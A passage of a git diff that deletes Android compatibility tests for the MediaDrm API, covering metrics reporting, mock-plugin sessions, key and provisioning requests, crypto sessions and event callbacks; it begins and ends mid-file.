-import android.test.AndroidTestCase;
-import android.util.Log;
-import com.google.common.io.BaseEncoding;
-import java.lang.IllegalArgumentException;
-import java.util.Base64;
-import java.util.HashSet;
-import java.util.StringJoiner;
-import java.util.UUID;
-
-
-/**
- * MediaDrm tests covering {@link MediaDrm#getMetrics} and related
- * functionality.
- */
-public class MediaDrmMetricsTest extends AndroidTestCase {
-    private static final String TAG = MediaDrmMetricsTest.class.getSimpleName();
-    private static final UUID CLEARKEY_SCHEME_UUID =
-            new UUID(0xe2719d58a985b3c9L, 0x781ab030af78d30eL);
-    private static final String GOOGLE_CLEARKEY_VENDOR_ID = "Google.ClearKey CDM";
-
-    private String dumpBundleKeys(PersistableBundle bundle) {
-      StringJoiner joiner = new StringJoiner(",");
-      for (String key : bundle.keySet()) {
-        joiner.add(key);
-      }
-      return joiner.toString();
-    }
-
-    private String getClearkeyVersion(MediaDrm drm) {
-        try {
-            return drm.getPropertyString("version");
-        } catch (Exception e) {
-            return "unavailable";
-        }
-    }
-
-    @Presubmit
-    public void testGetMetricsEmpty() throws Exception {
-        MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
-        assertNotNull(drm);
-
-        if (getClearkeyVersion(drm).equals("1.0")) {
-            Log.i(TAG, "Skipping testGetMetricsEmpty: not supported in ClearKey v1.0");
-            drm.close();
-            return;
-        }
-
-        PersistableBundle metrics = drm.getMetrics();
-        assertNotNull(metrics);
-
-        assertEquals(1, metrics.keySet().size());
-        // The clear key plugin metrics should be included.
-        assertTrue(metrics.keySet().contains(GOOGLE_CLEARKEY_VENDOR_ID));
-        drm.close();
-    }
-
-    @Presubmit
-    public void testGetMetricsSession() throws Exception {
-        MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
-        assertNotNull(drm);
-
-        if (getClearkeyVersion(drm).equals("1.0")) {
-            Log.i(TAG, "Skipping testGetMetricsSession: not supported in ClearKey v1.0");
-            drm.close();
-            return;
-        }
-
-        byte[] sid1 = drm.openSession();
-        assertNotNull(sid1);
-        byte[] sid2 = drm.openSession();
-        assertNotNull(sid2);
-
-        drm.closeSession(sid1);
-        drm.closeSession(sid2);
-
-        PersistableBundle metrics = drm.getMetrics();
-        assertNotNull(metrics);
-        assertEquals(dumpBundleKeys(metrics), 5, metrics.keySet().size());
-        // The clear key plugin metrics should be included.
-        assertTrue(metrics.keySet().contains(GOOGLE_CLEARKEY_VENDOR_ID));
-
-        assertEquals(2, metrics.getLong(
-            MediaDrm.MetricsConstants.OPEN_SESSION_OK_COUNT, -1));
-        assertEquals(-1, metrics.getLong(
-            MediaDrm.MetricsConstants.OPEN_SESSION_ERROR_COUNT, -1));
-        assertEquals(2, metrics.getLong(
-            MediaDrm.MetricsConstants.CLOSE_SESSION_OK_COUNT, -1));
-        assertEquals(-1, metrics.getLong(
-            MediaDrm.MetricsConstants.CLOSE_SESSION_ERROR_COUNT, -1));
-
-        PersistableBundle startTimesMs = metrics.getPersistableBundle(
-            MediaDrm.MetricsConstants.SESSION_START_TIMES_MS);
-        assertNotNull(startTimesMs);
-        assertEquals(2, startTimesMs.keySet().size());
-        assertThat("Start times contain all session ids. ",
-            startTimesMs.keySet(), containsInAnyOrder(
-                BaseEncoding.base16().encode(sid1).toLowerCase(),
-                BaseEncoding.base16().encode(sid2).toLowerCase()));
-
-        PersistableBundle endTimesMs = metrics.getPersistableBundle(
-            MediaDrm.MetricsConstants.SESSION_END_TIMES_MS);
-        assertNotNull(endTimesMs);
-        assertEquals(2, endTimesMs.keySet().size());
-        assertThat("End times contain all session ids.",
-            endTimesMs.keySet(), containsInAnyOrder(
-                BaseEncoding.base16().encode(sid1).toLowerCase(),
-                BaseEncoding.base16().encode(sid2).toLowerCase()));
-       drm.close();
-    }
-
-    @Presubmit
-    public void testGetMetricsGetKeyRequest() throws Exception {
-        MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
-        assertNotNull(drm);
-
-        if (getClearkeyVersion(drm).equals("1.0")) {
-            Log.i(TAG, "Skipping testGetMetricsGetKeyRequest: not supported in ClearKey v1.0");
-            drm.close();
-            return;
-        }
-
-        byte[] sid = drm.openSession();
-        assertNotNull(sid);
-
-        try {
-          drm.getKeyRequest(sid, null, "", 2, null);
-        } catch (IllegalArgumentException e) {
-          // Exception expected.
-        }
-
-        drm.closeSession(sid);
-
-        PersistableBundle metrics = drm.getMetrics();
-        assertNotNull(metrics);
-
-        // Verify the count of metric, operation counts and errors.
-        assertEquals(7, metrics.keySet().size());
-        // The clear key plugin metrics should be included.
-        assertTrue(metrics.keySet().contains(GOOGLE_CLEARKEY_VENDOR_ID));
-        assertEquals(1, metrics.getLong(
-            MediaDrm.MetricsConstants.OPEN_SESSION_OK_COUNT, -1));
-        assertEquals(1, metrics.getLong(
-            MediaDrm.MetricsConstants.CLOSE_SESSION_OK_COUNT, -1));
-        assertEquals(1, metrics.getLong(
-            MediaDrm.MetricsConstants.GET_KEY_REQUEST_ERROR_COUNT));
-        long[] errorList = metrics.getLongArray(
-            MediaDrm.MetricsConstants.GET_KEY_REQUEST_ERROR_LIST);
-        assertEquals(1, errorList.length);
-        assertFalse(errorList[0] == 0);
-
-        // Verify the start and end time groups in the nested
-        // PersistableBundles.
-        String hexSid = BaseEncoding.base16().encode(sid).toLowerCase();
-        PersistableBundle startTimesMs = metrics.getPersistableBundle(
-            MediaDrm.MetricsConstants.SESSION_START_TIMES_MS);
-        assertNotNull(startTimesMs);
-        assertEquals(1, startTimesMs.keySet().size());
-        assertEquals(startTimesMs.keySet().toArray()[0], hexSid);
-
-        PersistableBundle endTimesMs = metrics.getPersistableBundle(
-            MediaDrm.MetricsConstants.SESSION_END_TIMES_MS);
-        assertNotNull(endTimesMs);
-        assertEquals(1, endTimesMs.keySet().size());
-        assertEquals(endTimesMs.keySet().toArray()[0], hexSid);
-        assertThat(startTimesMs.getLong(hexSid),
-            lessThanOrEqualTo(endTimesMs.getLong(hexSid)));
-        drm.close();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmMockTest.java b/tests/tests/media/src/android/media/cts/MediaDrmMockTest.java
deleted file mode 100644
index 53e30ae..0000000
--- a/tests/tests/media/src/android/media/cts/MediaDrmMockTest.java
+++ /dev/null
@@ -1,1071 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.MediaDrm;
-import android.media.MediaDrm.CryptoSession;
-import android.media.MediaDrm.KeyRequest;
-import android.media.MediaDrm.KeyStatus;
-import android.media.MediaDrm.ProvisionRequest;
-import android.media.MediaDrmException;
-import android.media.NotProvisionedException;
-import android.media.ResourceBusyException;
-import android.test.AndroidTestCase;
-import android.util.Log;
-import java.util.HashMap;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Iterator;
-import java.util.UUID;
-import java.util.concurrent.ScheduledThreadPoolExecutor;
-import java.util.concurrent.ThreadPoolExecutor;
-import java.util.concurrent.TimeUnit;
-import java.lang.Thread;
-import java.lang.Object;
-import android.os.Looper;
-
-// This test works with the MediaDrm mock plugin
-public class MediaDrmMockTest extends AndroidTestCase
-        implements MediaDrm.OnEventListener, MediaDrm.OnKeyStatusChangeListener,
-        MediaDrm.OnExpirationUpdateListener, MediaDrm.OnSessionLostStateListener {
-    private static final String TAG = "MediaDrmMockTest";
-
-    // The scheme supported by the mock drm plugin
-    static final UUID mockScheme = new UUID(0x0102030405060708L, 0x090a0b0c0d0e0f10L);
-    static final UUID badScheme = new UUID(0xffffffffffffffffL, 0xffffffffffffffffL);
-    static final UUID clearkeyScheme = new UUID(0xe2719d58a985b3c9L, 0x781ab030af78d30eL);
-
-    private boolean isMockPluginInstalled() {
-        return MediaDrm.isCryptoSchemeSupported(mockScheme);
-    }
-
-    public void testIsCryptoSchemeNotSupported() throws Exception {
-        assertFalse(MediaDrm.isCryptoSchemeSupported(badScheme));
-    }
-
-    public void testMediaDrmConstructor() throws Exception {
-        if (isMockPluginInstalled()) {
-            MediaDrm md = new MediaDrm(mockScheme);
-        } else {
-            Log.w(TAG, "optional plugin libmockdrmcryptoplugin.so is not installed");
-            Log.w(TAG, "To verify the MediaDrm APIs, you should install this plugin");
-        }
-    }
-
-    public void testIsMimeTypeSupported() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-        String mimeType = "video/mp4";
-        assertTrue(MediaDrm.isCryptoSchemeSupported(mockScheme, mimeType));
-    }
-
-    public void testIsMimeTypeNotSupported() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-        String mimeType = "video/foo";
-        assertFalse(MediaDrm.isCryptoSchemeSupported(mockScheme, mimeType));
-    }
-
-    public void testMediaDrmConstructorFails() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        boolean gotException = false;
-        try {
-            MediaDrm md = new MediaDrm(badScheme);
-        } catch (MediaDrmException e) {
-            gotException = true;
-        }
-        assertTrue(gotException);
-    }
-
-    public void testStringProperties() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        md.setPropertyString("test-string", "test-value");
-        assertTrue(md.getPropertyString("test-string").equals("test-value"));
-    }
-
-    public void testByteArrayProperties() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        byte testArray[] = {0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x10, 0x11, 0x12};
-        md.setPropertyByteArray("test-array", testArray);
-        assertTrue(Arrays.equals(md.getPropertyByteArray("test-array"), testArray));
-    }
-
-    public void testMissingPropertyString() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        boolean gotException = false;
-        try {
-            md.getPropertyString("missing-property");
-        } catch (IllegalArgumentException e) {
-            gotException = true;
-        }
-        assertTrue(gotException);
-    }
-
-    public void testNullPropertyString() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        boolean gotException = false;
-        try {
-            md.getPropertyString(null);
-        } catch (IllegalArgumentException e) {
-            gotException = true;
-        }
-        assertTrue(gotException);
-    }
-
-    public void testMissingPropertyByteArray() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        boolean gotException = false;
-        try {
-            md.getPropertyByteArray("missing-property");
-        } catch (IllegalArgumentException e) {
-            gotException = true;
-        }
-        assertTrue(gotException);
-    }
-
-    public void testNullPropertyByteArray() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        boolean gotException = false;
-        try {
-            md.getPropertyByteArray(null);
-        } catch (IllegalArgumentException e) {
-            gotException = true;
-        }
-        assertTrue(gotException);
-    }
-
-    public void testOpenCloseSession() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-        byte[] sessionId = openSession(md);
-        md.closeSession(sessionId);
-    }
-
-    public void testBadSession() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-        byte[] sessionId = {0x05, 0x6, 0x7, 0x8};
-        boolean gotException = false;
-        try {
-            md.closeSession(sessionId);
-        } catch (IllegalArgumentException e) {
-            gotException = true;
-        }
-        assertTrue(gotException);
-    }
-
-    public void testNullSession() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-        byte[] sessionId = null;
-        boolean gotException = false;
-        try {
-            md.closeSession(sessionId);
-        } catch (IllegalArgumentException e) {
-            gotException = true;
-        }
-        assertTrue(gotException);
-    }
-
-    public void testGetKeyRequest() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-        byte[] sessionId = openSession(md);
-
-        // Set up mock expected responses using properties
-        byte testRequest[] = {0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x10, 0x11, 0x12};
-        md.setPropertyByteArray("mock-request", testRequest);
-        String testDefaultUrl = "http://1.2.3.4:8080/blah";
-        md.setPropertyString("mock-defaultUrl", testDefaultUrl);
-        md.setPropertyString("mock-keyRequestType", "1" /*kKeyRequestType_Initial*/);
-
-        byte[] initData = {0x0a, 0x0b, 0x0c, 0x0d};
-        HashMap<String, String> optionalParameters = new HashMap<String, String>();
-        optionalParameters.put("param1", "value1");
-        optionalParameters.put("param2", "value2");
-
-        String mimeType = "video/iso.segment";
-        KeyRequest request = md.getKeyRequest(sessionId, initData, mimeType,
-                                                      MediaDrm.KEY_TYPE_STREAMING,
-                                                      optionalParameters);
-        assertTrue(Arrays.equals(request.getData(), testRequest));
-        assertTrue(request.getDefaultUrl().equals(testDefaultUrl));
-        assertEquals(request.getRequestType(), MediaDrm.KeyRequest.REQUEST_TYPE_INITIAL);
-
-        assertTrue(Arrays.equals(initData, md.getPropertyByteArray("mock-initdata")));
-        assertTrue(mimeType.equals(md.getPropertyString("mock-mimetype")));
-        assertTrue(md.getPropertyString("mock-keytype").equals("1"));
-        assertTrue(md.getPropertyString("mock-optparams").equals("{param1,value1},{param2,value2}"));
-
-        md.closeSession(sessionId);
-    }
-
-    public void testGetKeyRequestNoOptionalParameters() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-        byte[] sessionId = openSession(md);
-
-        // Set up mock expected responses using properties
-        byte testRequest[] = {0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x10, 0x11, 0x12};
-        md.setPropertyByteArray("mock-request", testRequest);
-        String testDefaultUrl = "http://1.2.3.4:8080/blah";
-        md.setPropertyString("mock-defaultUrl", testDefaultUrl);
-        md.setPropertyString("mock-keyRequestType", "1" /*kKeyRequestType_Initial*/);
-
-        byte[] initData = {0x0a, 0x0b, 0x0c, 0x0d};
-
-        String mimeType = "video/iso.segment";
-        KeyRequest request = md.getKeyRequest(sessionId, initData, mimeType,
-                                                      MediaDrm.KEY_TYPE_STREAMING,
-                                                      null);
-        assertTrue(Arrays.equals(request.getData(), testRequest));
-        assertTrue(request.getDefaultUrl().equals(testDefaultUrl));
-        assertEquals(request.getRequestType(), MediaDrm.KeyRequest.REQUEST_TYPE_INITIAL);
-
-        assertTrue(Arrays.equals(initData, md.getPropertyByteArray("mock-initdata")));
-        assertTrue(mimeType.equals(md.getPropertyString("mock-mimetype")));
-        assertTrue(md.getPropertyString("mock-keytype").equals("1"));
-
-        md.closeSession(sessionId);
-    }
-
-    public void testGetKeyRequestOffline() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-        byte[] sessionId = openSession(md);
-
-        // Set up mock expected responses using properties
-        byte testRequest[] = {0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x10, 0x11, 0x12};
-        md.setPropertyByteArray("mock-request", testRequest);
-        String testDefaultUrl = "http://1.2.3.4:8080/blah";
-        md.setPropertyString("mock-defaultUrl", testDefaultUrl);
-        md.setPropertyString("mock-keyRequestType", "2" /*kKeyRequestType_Renewal*/);
-
-        byte[] initData = {0x0a, 0x0b, 0x0c, 0x0d};
-
-        String mimeType = "video/iso.segment";
-        KeyRequest request = md.getKeyRequest(sessionId, initData, mimeType,
-                                              MediaDrm.KEY_TYPE_OFFLINE,
-                                              null);
-        assertTrue(Arrays.equals(request.getData(), testRequest));
-        assertTrue(request.getDefaultUrl().equals(testDefaultUrl));
-        assertEquals(request.getRequestType(), MediaDrm.KeyRequest.REQUEST_TYPE_RENEWAL);
-
-        assertTrue(Arrays.equals(initData, md.getPropertyByteArray("mock-initdata")));
-        assertTrue(mimeType.equals(md.getPropertyString("mock-mimetype")));
-        assertTrue(md.getPropertyString("mock-keytype").equals("0"));
-
-        md.closeSession(sessionId);
-    }
-
-    public void testGetKeyRequestRelease() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-        byte[] sessionId = openSession(md);
-
-        // Set up mock expected responses using properties
-        byte testRequest[] = {0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x10, 0x11, 0x12};
-        md.setPropertyByteArray("mock-request", testRequest);
-        String testDefaultUrl = "http://1.2.3.4:8080/blah";
-        md.setPropertyString("mock-defaultUrl", testDefaultUrl);
-        md.setPropertyString("mock-keyRequestType", "3" /*kKeyRequestType_Release*/);
-
-        String mimeType = "video/iso.segment";
-        KeyRequest request = md.getKeyRequest(sessionId, null, mimeType,
-                                              MediaDrm.KEY_TYPE_RELEASE,
-                                              null);
-        assertTrue(Arrays.equals(request.getData(), testRequest));
-        assertTrue(request.getDefaultUrl().equals(testDefaultUrl));
-        assertEquals(request.getRequestType(), MediaDrm.KeyRequest.REQUEST_TYPE_RELEASE);
-
-        assertTrue(mimeType.equals(md.getPropertyString("mock-mimetype")));
-        assertTrue(md.getPropertyString("mock-keytype").equals("2"));
-
-        md.closeSession(sessionId);
-    }
-
-    public void testProvideKeyResponse() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-        byte[] sessionId = openSession(md);
-
-        // Set up mock expected responses using properties
-        byte testResponse[] = {0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20};
-
-        md.provideKeyResponse(sessionId, testResponse);
-
-        assertTrue(Arrays.equals(testResponse, md.getPropertyByteArray("mock-response")));
-        md.closeSession(sessionId);
-    }
-
-    public void testRemoveKeys() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-        byte[] sessionId = openSession(md);
-
-        byte testResponse[] = {0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20};
-        byte[] keySetId = md.provideKeyResponse(sessionId, testResponse);
-        md.closeSession(sessionId);
-
-        md.removeKeys(keySetId);
-    }
-
-    public void testRestoreKeys() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-        byte[] sessionId = openSession(md);
-
-        byte testResponse[] = {0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20};
-        byte[] keySetId = md.provideKeyResponse(sessionId, testResponse);
-        md.closeSession(sessionId);
-
-        sessionId = openSession(md);
-        md.restoreKeys(sessionId, keySetId);
-        md.closeSession(sessionId);
-    }
-
-    public void testQueryKeyStatus() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-        byte[] sessionId = openSession(md);
-        HashMap<String, String> infoMap = md.queryKeyStatus(sessionId);
-
-        // these are canned strings returned by the mock
-        assertTrue(infoMap.containsKey("purchaseDuration"));
-        assertTrue(infoMap.get("purchaseDuration").equals(("1000")));
-        assertTrue(infoMap.containsKey("licenseDuration"));
-        assertTrue(infoMap.get("licenseDuration").equals(("100")));
-
-        md.closeSession(sessionId);
-    }
-
-    public void testGetProvisionRequest() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        // Set up mock expected responses using properties
-        byte testRequest[] = {0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x60, 0x61, 0x62};
-        md.setPropertyByteArray("mock-request", testRequest);
-        String testDefaultUrl = "http://1.2.3.4:8080/bar";
-        md.setPropertyString("mock-defaultUrl", testDefaultUrl);
-
-        ProvisionRequest request = md.getProvisionRequest();
-        assertTrue(Arrays.equals(request.getData(), testRequest));
-        assertTrue(request.getDefaultUrl().equals(testDefaultUrl));
-    }
-
-    public void testProvideProvisionResponse() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        // Set up mock expected responses using properties
-        byte testResponse[] = {0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20};
-
-        md.provideProvisionResponse(testResponse);
-        assertTrue(Arrays.equals(testResponse, md.getPropertyByteArray("mock-response")));
-    }
-
-    public void testGetSecureStops() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        // Set up mock expected responses using properties
-        byte ss1[] = {0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20};
-        byte ss2[] = {0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 0x30};
-
-        md.setPropertyByteArray("mock-secure-stop1", ss1);
-        md.setPropertyByteArray("mock-secure-stop2", ss2);
-
-        List<byte[]> secureStopList = md.getSecureStops();
-        assertTrue(secureStopList != null);
-
-        Iterator<byte[]> iter = secureStopList.iterator();
-        assertTrue(iter.hasNext());
-        assertTrue(Arrays.equals(iter.next(), ss1));
-        assertTrue(iter.hasNext());
-        assertTrue(Arrays.equals(iter.next(), ss2));
-        assertFalse(iter.hasNext());
-    }
-
-    public void testReleaseSecureStops() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        // Set up mock expected responses using properties
-        byte ssrelease[] = {0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f, 0x40};
-
-        md.releaseSecureStops(ssrelease);
-        assertTrue(Arrays.equals(ssrelease, md.getPropertyByteArray("mock-ssrelease")));
-    }
-
-    public void testMultipleSessions() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        byte[] session1 = openSession(md);
-        byte[] session2 = openSession(md);
-        byte[] session3 = openSession(md);
-
-        assertFalse(Arrays.equals(session1, session2));
-        assertFalse(Arrays.equals(session2, session3));
-
-        md.closeSession(session1);
-        md.closeSession(session2);
-        md.closeSession(session3);
-    }
-
-    public void testCryptoSession() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        byte[] sessionId = openSession(md);
-        CryptoSession cs = md.getCryptoSession(sessionId, "AES/CBC/NoPadding", "HmacSHA256");
-        assertFalse(cs == null);
-    }
-
-    public void testBadCryptoSession() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        boolean gotException = false;
-        try {
-            byte[] sessionId = openSession(md);
-            CryptoSession cs = md.getCryptoSession(sessionId, "bad", "bad");
-        } catch (IllegalArgumentException e) {
-            gotException = true;
-        }
-        assertTrue(gotException);
-    }
-
-    public void testCryptoSessionEncrypt() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        byte[] sessionId = openSession(md);
-        CryptoSession cs = md.getCryptoSession(sessionId, "AES/CBC/NoPadding", "HmacSHA256");
-        assertFalse(cs == null);
-
-        byte[] keyId = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09};
-        byte[] input = {0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19};
-        byte[] iv = {0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29};
-        byte[] expected_output = {0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39};
-
-        md.setPropertyByteArray("mock-output", expected_output);
-
-        byte[] output = cs.encrypt(keyId, input, iv);
-
-        assertTrue(Arrays.equals(keyId, md.getPropertyByteArray("mock-keyid")));
-        assertTrue(Arrays.equals(input, md.getPropertyByteArray("mock-input")));
-        assertTrue(Arrays.equals(iv, md.getPropertyByteArray("mock-iv")));
-        assertTrue(Arrays.equals(output, expected_output));
-    }
-
-    public void testCryptoSessionDecrypt() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        byte[] sessionId = openSession(md);
-        CryptoSession cs = md.getCryptoSession(sessionId, "AES/CBC/NoPadding", "HmacSHA256");
-        assertFalse(cs == null);
-
-        byte[] keyId = {0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49};
-        byte[] input = {0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59};
-        byte[] iv = {0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69};
-        byte[] expected_output = {0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79};
-
-        md.setPropertyByteArray("mock-output", expected_output);
-
-        byte[] output = cs.decrypt(keyId, input, iv);
-
-        assertTrue(Arrays.equals(keyId, md.getPropertyByteArray("mock-keyid")));
-        assertTrue(Arrays.equals(input, md.getPropertyByteArray("mock-input")));
-        assertTrue(Arrays.equals(iv, md.getPropertyByteArray("mock-iv")));
-        assertTrue(Arrays.equals(output, expected_output));
-    }
-
-    public void testCryptoSessionSign() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        byte[] sessionId = openSession(md);
-        CryptoSession cs = md.getCryptoSession(sessionId, "AES/CBC/NoPadding", "HmacSHA256");
-        assertFalse(cs == null);
-
-        byte[] keyId = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09};
-        byte[] message = {0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29};
-        byte[] expected_signature = {0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39};
-
-        md.setPropertyByteArray("mock-signature", expected_signature);
-
-        byte[] signature = cs.sign(keyId, message);
-
-        assertTrue(Arrays.equals(keyId, md.getPropertyByteArray("mock-keyid")));
-        assertTrue(Arrays.equals(message, md.getPropertyByteArray("mock-message")));
-        assertTrue(Arrays.equals(signature, expected_signature));
-    }
-
-    public void testCryptoSessionVerify() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        MediaDrm md = new MediaDrm(mockScheme);
-
-        byte[] sessionId = openSession(md);
-        CryptoSession cs = md.getCryptoSession(sessionId, "AES/CBC/NoPadding", "HmacSHA256");
-        assertFalse(cs == null);
-
-        byte[] keyId = {0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49};
-        byte[] message = {0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59};
-        byte[] signature = {0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69};
-
-        md.setPropertyString("mock-match", "1");
-        assertTrue(cs.verify(keyId, message, signature));
-
-        assertTrue(Arrays.equals(keyId, md.getPropertyByteArray("mock-keyid")));
-        assertTrue(Arrays.equals(message, md.getPropertyByteArray("mock-message")));
-        assertTrue(Arrays.equals(signature, md.getPropertyByteArray("mock-signature")));
-
-        md.setPropertyString("mock-match", "0");
-        assertFalse(cs.verify(keyId, message, signature));
-    }
-
-    private MediaDrm mMediaDrm = null;
-    private Looper mLooper = null;
-    private Object mLock = new Object();
-    private boolean mGotEvent = false;
-
-    private int mExpectedEvent;
-    private byte[] mExpectedSessionId;
-    private byte[] mExpectedData;
-
-    private ThreadPoolExecutor mExecutor;
-
-    @Override
-    public void onEvent(MediaDrm md, byte[] sessionId, int event,
-                        int extra, byte[] data) {
-        synchronized(mLock) {
-            Log.d(TAG,"testEventNoSessionNoData.onEvent");
-            assertTrue(md == mMediaDrm);
-            assertTrue(event == mExpectedEvent);
-            assertTrue(Arrays.equals(sessionId, mExpectedSessionId));
-            assertTrue(Arrays.equals(data, mExpectedData));
-            mGotEvent = true;
-            mLock.notify();
-        }
-    }
-
-    public void testEventNoSessionNoDataWithExecutor() throws Exception {
-        mExecutor = new ScheduledThreadPoolExecutor(1);
-        testEventNoSessionNoData();
-    }
-
-    public void testEventNoSessionNoData() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-        mExpectedEvent = 2;
-
-        new Thread() {
-            @Override
-            public void run() {
-                // Set up a looper to be used by mMediaPlayer.
-                Looper.prepare();
-
-                // Save the looper so that we can terminate this thread
-                // after we are done with it.
-                mLooper = Looper.myLooper();
-
-                try {
-                    mMediaDrm = new MediaDrm(mockScheme);
-                } catch (MediaDrmException e) {
-                    e.printStackTrace();
-                    fail();
-                }
-
-                synchronized(mLock) {
-                    mLock.notify();
-                    if (mExecutor != null) {
-                        mMediaDrm.setOnEventListener(mExecutor, MediaDrmMockTest.this);
-                    } else {
-                        mMediaDrm.setOnEventListener(MediaDrmMockTest.this);
-                    }
-                }
-
-                Looper.loop();  // Blocks forever until Looper.quit() is called.
-            }
-        }.start();
-
-        // wait for mMediaDrm to be created
-        synchronized(mLock) {
-            try {
-                mLock.wait(1000);
-            } catch (Exception e) {
-            }
-        }
-        assertTrue(mMediaDrm != null);
-
-        mGotEvent = false;
-        mMediaDrm.setPropertyString("mock-send-event", "2 456");
-
